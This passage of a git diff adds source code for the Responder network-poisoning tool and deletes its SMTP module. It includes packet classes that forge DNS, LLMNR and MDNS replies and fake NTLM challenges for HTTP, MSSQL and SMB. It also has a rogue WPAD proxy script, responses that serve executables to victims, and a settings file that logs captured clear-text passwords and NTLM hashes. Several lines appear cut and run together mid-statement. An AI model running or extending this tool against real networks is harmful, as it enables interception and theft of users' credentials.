("Flags1", "\x00\x00"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["NbtName"] = data[12:46] + self.fields["IP"] = settings.Config.IP_aton + +# DNS Answer Packet +class DNS_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x80\x10"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x01"), + ("Class", "\x00\x01"), + ("AnswerPointer", "\xc0\x0c"), + ("Type1", "\x00\x01"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long.. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) + self.fields["IP"] = settings.Config.IP_aton + self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + +# LLMNR Answer Packet +class LLMNR_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x80\x00"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("QuestionNameLen", "\x09"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x01"), + ("Class", "\x00\x01"), + ("AnswerNameLen", "\x09"), + ("AnswerName", ""), + ("AnswerNameNull", "\x00"), + ("Type1", "\x00\x01"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self): + self.fields["IP"] = settings.Config.IP_aton + self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] + self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] + +# MDNS Answer Packet +class MDNS_Ans(Packet): + fields = OrderedDict([ + ("Tid", "\x00\x00"), + ("Flags", "\x84\x00"), + ("Question", "\x00\x00"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("AnswerName", ""), + ("AnswerNameNull", "\x00"), + ("Type", "\x00\x01"), + ("Class", "\x00\x01"), + ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self): + self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + +##### HTTP Packets ##### +class NTLM_Challenge(Packet): + fields = OrderedDict([ + ("Signature", "NTLMSSP"), + ("SignatureNull", "\x00"), + ("MessageType", "\x02\x00\x00\x00"), + ("TargetNameLen", "\x06\x00"), + ("TargetNameMaxLen", "\x06\x00"), + ("TargetNameOffset", "\x38\x00\x00\x00"), + ("NegoFlags", "\x05\x02\x89\xa2"), + ("ServerChallenge", ""), + ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("TargetInfoLen", "\x7e\x00"), + ("TargetInfoMaxLen", "\x7e\x00"), + ("TargetInfoOffset", "\x3e\x00\x00\x00"), + ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), + ("TargetNameStr", "SMB"), + ("Av1", "\x02\x00"),#nbt name + ("Av1Len", "\x06\x00"), + ("Av1Str", "SMB"), + ("Av2", "\x01\x00"),#Server name + ("Av2Len", "\x14\x00"), + ("Av2Str", "SMB-TOOLKIT"), + ("Av3", "\x04\x00"),#Full Domain name + ("Av3Len", "\x12\x00"), + ("Av3Str", "smb.local"), + ("Av4", "\x03\x00"),#Full machine domain name + ("Av4Len", "\x28\x00"), + ("Av4Str", "server2003.smb.local"), + ("Av5", "\x05\x00"),#Domain Forest Name + ("Av5Len", "\x12\x00"), + ("Av5Str", "smb.local"), + ("Av6", "\x00\x00"),#AvPairs Terminator + ("Av6Len", "\x00\x00"), + ]) + + def calculate(self): + # First convert to unicode + self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') + self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') + self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') + self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') + self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') + self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') + + # Then calculate + CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) + CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) + CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + + # Target Name Offsets + self.fields["TargetNameOffset"] = struct.pack("\n\n\n\nLoading\n\n\n"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +class IIS_NTLM_Challenge_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), + ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWWAuth", "WWW-Authenticate: NTLM "), + ("Payload", ""), + ("Payload-CRLF", "\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + + def calculate(self,payload): + self.fields["Payload"] = b64encode(payload) + +class IIS_Basic_401_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), + ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"), + ("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + +##### Proxy mode Packets ##### +class WPADScript(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ServerTlype", "Server: Microsoft-IIS/6.0\r\n"), + ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), + ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("CRLF", "\r\n\r\n"), + ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +class ServeExeFile(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ContentType", "Content-Type: application/octet-stream\r\n"), + ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), + ("AcceptRanges", "Accept-Ranges: bytes\r\n"), + ("Server", "Server: Microsoft-IIS/7.5\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("ContentDisp", "Content-Disposition: attachment; filename="), + ("ContentDiFile", ""), + ("FileCRLF", ";\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), + ("Connection", "Connection: keep-alive\r\n"), + ("X-CCC", "US\r\n"), + ("X-CID", "2\r\n"), + ("CRLF", "\r\n"), + ("Payload", "jj"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +class ServeHtmlFile(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ContentType", "Content-Type: text/html\r\n"), + ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), + ("AcceptRanges", "Accept-Ranges: bytes\r\n"), + ("Server", "Server: Microsoft-IIS/7.5\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), + ("Connection", "Connection: keep-alive\r\n"), + ("CRLF", "\r\n"), + ("Payload", "jj"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +##### FTP Packets ##### +class FTPPacket(Packet): + fields = OrderedDict([ + ("Code", "220"), + ("Separator", "\x20"), + ("Message", "Welcome"), + ("Terminator", "\x0d\x0a"), + ]) + +##### SQL Packets ##### +class MSSQLPreLoginAnswer(Packet): + fields = OrderedDict([ + ("PacketType", "\x04"), + ("Status", "\x01"), + ("Len", "\x00\x25"), + ("SPID", "\x00\x00"), + ("PacketID", "\x01"), + ("Window", "\x00"), + ("TokenType", "\x00"), + ("VersionOffset", "\x00\x15"), + ("VersionLen", "\x00\x06"), + ("TokenType1", "\x01"), + ("EncryptionOffset", "\x00\x1b"), + ("EncryptionLen", "\x00\x01"), + ("TokenType2", "\x02"), + ("InstOptOffset", "\x00\x1c"), + ("InstOptLen", "\x00\x01"), + ("TokenTypeThrdID", "\x03"), + ("ThrdIDOffset", "\x00\x1d"), + ("ThrdIDLen", "\x00\x00"), + ("ThrdIDTerminator", "\xff"), + ("VersionStr", "\x09\x00\x0f\xc3"), + ("SubBuild", "\x00\x00"), + ("EncryptionStr", "\x02"), + ("InstOptStr", "\x00"), + ]) + + def calculate(self): + CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"]) + VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"]) + EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"]) + InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"]) + ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"]) + + self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) + #Version + self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) + self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset)) + #Encryption + self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"])) + self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset)) + #InstOpt + self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"])) + self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset)) + #ThrdIDOffset + self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset)) + +class MSSQLNTLMChallengeAnswer(Packet): + fields = OrderedDict([ + ("PacketType", "\x04"), + ("Status", "\x01"), + ("Len", "\x00\xc7"), + ("SPID", "\x00\x00"), + ("PacketID", "\x01"), + ("Window", "\x00"), + ("TokenType", "\xed"), + ("SSPIBuffLen", "\xbc\x00"), + ("Signature", "NTLMSSP"), + ("SignatureNull", "\x00"), + ("MessageType", "\x02\x00\x00\x00"), + ("TargetNameLen", "\x06\x00"), + ("TargetNameMaxLen", "\x06\x00"), + ("TargetNameOffset", "\x38\x00\x00\x00"), + ("NegoFlags", "\x05\x02\x89\xa2"), + ("ServerChallenge", ""), + ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("TargetInfoLen", "\x7e\x00"), + ("TargetInfoMaxLen", "\x7e\x00"), + ("TargetInfoOffset", "\x3e\x00\x00\x00"), + ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), + ("TargetNameStr", "SMB"), + ("Av1", "\x02\x00"),#nbt name + ("Av1Len", "\x06\x00"), + ("Av1Str", "SMB"), + ("Av2", "\x01\x00"),#Server name + ("Av2Len", "\x14\x00"), + ("Av2Str", "SMB-TOOLKIT"), + ("Av3", "\x04\x00"),#Full Domain name + ("Av3Len", "\x12\x00"), + ("Av3Str", "smb.local"), + ("Av4", "\x03\x00"),#Full machine domain name + ("Av4Len", "\x28\x00"), + ("Av4Str", "server2003.smb.local"), + ("Av5", "\x05\x00"),#Domain Forest Name + ("Av5Len", "\x12\x00"), + ("Av5Str", "smb.local"), + ("Av6", "\x00\x00"),#AvPairs Terminator + ("Av6Len", "\x00\x00"), + ]) + + def calculate(self): + # First convert to unicode + self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') + self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') + self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') + self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') + self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') + self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') + + # Then calculate + CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) + CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) + CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + + self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) + self.fields["SSPIBuffLen"] = struct.pack("i", len(CalculatePacketLen)) + self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen)) + self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) + ##### Workstation Offset Calculation: + self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("B", len(AsnLen+CalculateSecBlob)-3) + self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6) + self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) + self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) + + ###### Andxoffset calculation. + CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen + self.fields["Andxoffset"] = struct.pack(". +import os +import sys +import socket +import utils +import logging +from core.configwatcher import ConfigWatcher + +__version__ = 'Responder 2.2' + +class Settings(ConfigWatcher): + + def __init__(self): + self.ResponderPATH = os.path.dirname(__file__) + self.Bind_To = '0.0.0.0' + + def __str__(self): + ret = 'Settings class:\n' + for attr in dir(self): + value = str(getattr(self, attr)).strip() + ret += " Settings.%s = %s\n" % (attr, value) + return ret + + def toBool(self, str): + return True if str.upper() == 'ON' else False + + def ExpandIPRanges(self): + def expand_ranges(lst): + ret = [] + for l in lst: + tab = l.split('.') + x = {} + i = 0 + for byte in tab: + if '-' not in byte: + x[i] = x[i+1] = int(byte) + else: + b = byte.split('-') + x[i] = int(b[0]) + x[i+1] = int(b[1]) + i += 2 + for a in range(x[0], x[1]+1): + for b in range(x[2], x[3]+1): + for c in range(x[4], x[5]+1): + for d in range(x[6], x[7]+1): + ret.append('%d.%d.%d.%d' % (a, b, c, d)) + return ret + + self.RespondTo = expand_ranges(self.RespondTo) + self.DontRespondTo = expand_ranges(self.DontRespondTo) + + def populate(self, options): + + # Servers + self.SSL_On_Off = self.toBool(self.config['Responder']['HTTPS']) + self.SQL_On_Off = self.toBool(self.config['Responder']['SQL']) + self.FTP_On_Off = self.toBool(self.config['Responder']['FTP']) + self.POP_On_Off = self.toBool(self.config['Responder']['POP']) + self.IMAP_On_Off = self.toBool(self.config['Responder']['IMAP']) + self.SMTP_On_Off = self.toBool(self.config['Responder']['SMTP']) + self.LDAP_On_Off = self.toBool(self.config['Responder']['LDAP']) + self.Krb_On_Off = self.toBool(self.config['Responder']['Kerberos']) + + # Db File + self.DatabaseFile = './logs/responder/Responder.db' + + # Log Files + self.LogDir = './logs/responder' + + if not os.path.exists(self.LogDir): + os.mkdir(self.LogDir) + + self.SessionLogFile = os.path.join(self.LogDir, 'Responder-Session.log') + self.PoisonersLogFile = os.path.join(self.LogDir, 'Poisoners-Session.log') + self.AnalyzeLogFile = os.path.join(self.LogDir, 'Analyzer-Session.log') + + self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt') + self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt') + self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt') + self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt') + self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt') + self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt') + self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt') + self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt') + + self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt') + self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt') + self.HTTPNTLMv2Log = os.path.join(self.LogDir, 'HTTP-NTLMv2-Client-%s.txt') + self.KerberosLog = os.path.join(self.LogDir, 'MSKerberos-Client-%s.txt') + self.MSSQLNTLMv1Log = os.path.join(self.LogDir, 'MSSQL-NTLMv1-Client-%s.txt') + self.MSSQLNTLMv2Log = os.path.join(self.LogDir, 'MSSQL-NTLMv2-Client-%s.txt') + self.SMBNTLMv1Log = os.path.join(self.LogDir, 'SMB-NTLMv1-Client-%s.txt') + self.SMBNTLMv2Log = os.path.join(self.LogDir, 'SMB-NTLMv2-Client-%s.txt') + self.SMBNTLMSSPv1Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv1-Client-%s.txt') + self.SMBNTLMSSPv2Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv2-Client-%s.txt') + + # HTTP Options + self.Serve_Exe = self.toBool(self.config['Responder']['HTTP Server']['Serve-Exe']) + self.Serve_Always = self.toBool(self.config['Responder']['HTTP Server']['Serve-Always']) + self.Serve_Html = self.toBool(self.config['Responder']['HTTP Server']['Serve-Html']) + self.Html_Filename = self.config['Responder']['HTTP Server']['HtmlFilename'] + self.Exe_Filename = self.config['Responder']['HTTP Server']['ExeFilename'] + self.Exe_DlName = self.config['Responder']['HTTP Server']['ExeDownloadName'] + self.WPAD_Script = self.config['Responder']['HTTP Server']['WPADScript'] + + if not os.path.exists(self.Html_Filename): + print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1) + + if not os.path.exists(self.Exe_Filename): + print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1) + + # SSL Options + self.SSLKey = self.config['Responder']['HTTPS Server']['SSLKey'] + self.SSLCert = self.config['Responder']['HTTPS Server']['SSLCert'] + + # Respond to hosts + self.RespondTo = filter(None, [x.upper().strip() for x in self.config['Responder']['RespondTo'].strip().split(',')]) + self.RespondToName = filter(None, [x.upper().strip() for x in self.config['Responder']['RespondToName'].strip().split(',')]) + self.DontRespondTo = filter(None, [x.upper().strip() for x in self.config['Responder']['DontRespondTo'].strip().split(',')]) + self.DontRespondToName = filter(None, [x.upper().strip() for x in self.config['Responder']['DontRespondToName'].strip().split(',')]) + + # CLI options + self.Interface = options.interface + + try: + self.LM_On_Off = options.LM_On_Off + self.WPAD_On_Off = options.WPAD_On_Off + self.Wredirect = options.Wredirect + self.NBTNSDomain = options.NBTNSDomain + self.Basic = options.Basic + self.Finger_On_Off = options.Finger + self.Force_WPAD_Auth = options.Force_WPAD_Auth + self.Upstream_Proxy = options.Upstream_Proxy + self.AnalyzeMode = options.Analyze + except AttributeError: + pass + + self.Verbose = False + self.CommandLine = str(sys.argv) + + self.Bind_To = utils.FindLocalIP(self.Interface) + + self.IP_aton = socket.inet_aton(self.Bind_To) + self.Os_version = sys.platform + + # Set up Challenge + self.NumChal = self.config['Responder']['Challenge'] + + if len(self.NumChal) is not 16: + print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1) + sys.exit(-1) + + self.Challenge = "" + for i in range(0, len(self.NumChal),2): + self.Challenge += self.NumChal[i:i+2].decode("hex") + + # Set up logging + logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S') + logging.warning('Responder Started: {}'.format(self.CommandLine)) + #logging.warning('Responder Config: {}'.format(self)) + + Formatter = logging.Formatter('%(asctime)s - %(message)s') + PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w') + ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a') + PLog_Handler.setLevel(logging.INFO) + ALog_Handler.setLevel(logging.INFO) + PLog_Handler.setFormatter(Formatter) + ALog_Handler.setFormatter(Formatter) + + self.PoisonersLogger = logging.getLogger('Poisoners Log') + self.PoisonersLogger.addHandler(PLog_Handler) + + self.AnalyzeLogger = logging.getLogger('Analyze Log') + self.AnalyzeLogger.addHandler(ALog_Handler) + +global Config +Config = Settings() \ No newline at end of file diff --git a/core/responder/smtp/SMTPPackets.py b/core/responder/smtp/SMTPPackets.py deleted file mode 100644 index 0f80519..0000000 --- a/core/responder/smtp/SMTPPackets.py +++ /dev/null @@ -1,61 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from core.responder.odict import OrderedDict -from core.responder.packet import Packet - -#SMTP Greating class -class SMTPGreating(Packet): - fields = OrderedDict([ - ("Code", "220"), - ("Separator", "\x20"), - ("Message", "smtp01.local ESMTP"), - ("CRLF", "\x0d\x0a"), - ]) - -class SMTPAUTH(Packet): - fields = OrderedDict([ - ("Code0", "250"), - ("Separator0", "\x2d"), - ("Message0", "smtp01.local"), - ("CRLF0", "\x0d\x0a"), - ("Code", "250"), - ("Separator", "\x20"), - ("Message", "AUTH LOGIN PLAIN XYMCOOKIE"), - ("CRLF", "\x0d\x0a"), - ]) - -class SMTPAUTH1(Packet): - fields = OrderedDict([ - ("Code", "334"), - ("Separator", "\x20"), - ("Message", "VXNlcm5hbWU6"),#Username - ("CRLF", "\x0d\x0a"), - - ]) - -class SMTPAUTH2(Packet): - fields = OrderedDict([ - ("Code", "334"), - ("Separator", "\x20"), - ("Message", "UGFzc3dvcmQ6"),#Password - ("CRLF", "\x0d\x0a"), - - ]) - - diff --git a/core/responder/smtp/SMTPserver.py b/core/responder/smtp/SMTPserver.py deleted file mode 100644 index ad246ed..0000000 --- a/core/responder/smtp/SMTPserver.py +++ /dev/null @@ -1,64 +0,0 @@ -import logging -import threading - -from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler -from base64 import b64decode -from SMTPPackets import * -from core.responder.common import * -from core.logger import logger - -formatter = logging.Formatter("%(asctime)s [SMTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("SMTPserver", formatter) - -class SMTPserver(): - - def serve_thread_tcp(self, port): - try: - server = ThreadingTCPServer(("0.0.0.0", port), ESMTP) - server.serve_forever() - except Exception as e: - log.error("Error starting TCP server on port {}: {}".format(port, e)) - - #Function name self-explanatory - def start(self): - log.debug("online") - t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,)) - t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,)) - - for t in [t1, t2]: - t.setDaemon(True) - t.start() - -class ThreadingTCPServer(ThreadingMixIn, TCPServer): - - allow_reuse_address = 1 - - def server_bind(self): - TCPServer.server_bind(self) - -#ESMTP server class. -class ESMTP(BaseRequestHandler): - - def handle(self): - try: - 